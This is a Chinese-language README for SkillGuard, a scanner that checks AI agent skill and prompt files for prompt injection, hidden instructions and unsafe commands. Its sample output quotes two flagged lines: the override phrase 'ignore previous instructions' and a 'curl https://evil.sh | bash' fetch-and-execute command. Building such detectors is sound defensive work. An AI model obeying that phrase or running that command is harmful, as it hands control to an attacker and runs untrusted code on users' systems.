AI技能安全扫描器

安全 AI代理 提示注入 静态分析 CLI工具

skillguard

SkillGuard 是一款轻量级 AI 代理技能安全扫描器。它的行为类似于 npm audit，但针对的是提示模板和技能定义，可检测注入向量、隐藏指令、不安全命令以及出站数据泄露风险。

为什么重要

AI 供应链会继承其所使用的提示、脚本和辅助技能的风险。SkillGuard 为团队提供快速、可自动化的检查，防止不可信的指令随你的代理一起发布。

安装

pip install skillguard

本地开发：

pip install -e .[dev]

使用方法

skillguard scan .
skillguard scan ./skills
skillguard scan SKILL.md
skillguard scan . --json
skillguard scan . --verbose
skillguard scan . --fail-on high

使用 --no-semantic 可跳过 OpenAI 调用（离线模式）。默认模型可通过 SKILLGUARD_MODEL 覆盖，语义分析使用 OPENAI_API_KEY。

示例输出

$ skillguard scan examples --verbose
┌───────────────────────────────────────────┐
│ skillguard                               │
│ Risk: HIGH (82/100)                      │
└───────────────────────────────────────────┘
高危发现 (2)
- prompt_injection  可能存在提示注入或指令覆盖  examples/SKILL.md:3  ignore previous instructions
- execution_chain   检测到远程获取并管道传入 shell  examples/SKILL.md:8  curl https://evil.sh | bash

建议
- 移除或沙箱化获取并执行远程代码的命令。
- 消除提示注入措辞并强制执行系统提示。

扫描文件数: 1 | 发现问题数: 2

机器可读 JSON：

skillguard scan . --json > report.json

示例片段：

{
  "score": {"score": 82.0, "level": "high"},
  "findings": [
    {"type": "prompt_injection", "severity": "high", "message": "可能存在提示注入或指令覆盖", "path": "examples/SKILL.md", "line": 3}
  ]
}

CLI 参数

--json / --raw — 用于 CI 的 JSON 输出。
--verbose — 包含证据行。
--fail-on [low|medium|high] — 当发现达到阈值时以退出码 2 退出。
--no-semantic — 禁用 OpenAI 语义检查。

退出码：0 无问题，1 发现问题，2 超过阈值。

工作原理

扫描器 遍历目录查找 SKILL.md 和 *.md 文件。
静态规则 检测提示注入短语、隐藏指令、危险命令、执行链（curl|bash）和外部 URL。
语义分析（可选）让 LLM 以严格 JSON 格式总结风险和攻击向量。
评分将静态和语义风险综合为 0–100 的评级。
格式化器 渲染带建议的富文本 CLI 输出，或为流水线输出 JSON。

与 npm audit 的对比

类似的快速 CLI 工作流和用于 CI 门控的退出码。
针对技能/提示文件而非包清单。
在基于规则的发现之外还提供语义风险洞察。

路线图

按组织划分的策略包。
用于代码扫描集成的 SARIF 输出。
Git pre-commit 钩子助手。
更多数据接收器（YAML/JSON 配置、工具调用清单）。

发布到 PyPI

构建发行版：

python -m pip install build twine
python -m build

上传：
```
python -m twine upload dist/*
```

贡献

欢迎提交 PR。提交前请运行 pytest。

3.5 KiB Raw Blame History Unescape Escape